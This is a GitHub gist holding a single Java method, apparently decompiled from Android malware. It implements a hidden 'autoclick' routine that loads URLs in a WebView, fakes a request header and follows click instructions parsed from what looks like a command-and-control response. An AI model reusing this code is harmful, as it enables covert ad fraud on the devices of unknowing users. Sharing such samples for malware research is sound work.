Skip to content

Instantly share code, notes, and snippets.

@alximw
Last active September 4, 2018 10:26
Show Gist options
  • Select an option

  • Save alximw/d45319857f4ff604553f9eb30b9b244d to your computer and use it in GitHub Desktop.

Select an option

Save alximw/d45319857f4ff604553f9eb30b9b244d to your computer and use it in GitHub Desktop.
public void autoclick(String URL, String RESPONSE) {
WebView webView = new WebView(this.ctx);
webView.getSettings().setJavaScriptEnabled(true);
webView.loadUrl(URL, this.setupXRequestedWith());
webView.setWebViewClient(new WebViewClient(webView) {
int count;
public void onPageFinished(WebView webView, String URL) {
++this.count;
String[] lines = this.RESPONSE.split("\\|\\|\\|");
int i;
for(i = 0; i < lines.length; ++i) {
String[] values = lines[i].split("\\|\\|");
if((URL.contains(values[0])) && this.count < Integer.parseInt(values[1])) {
this.webView.loadUrl(values[2]);
return;
}
}
}
public boolean shouldOverrideUrlLoading(WebView webView, String URL) {
webView.loadUrl(URL, this.c2connection.setupXRequestedWith());
return true;
}
});
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment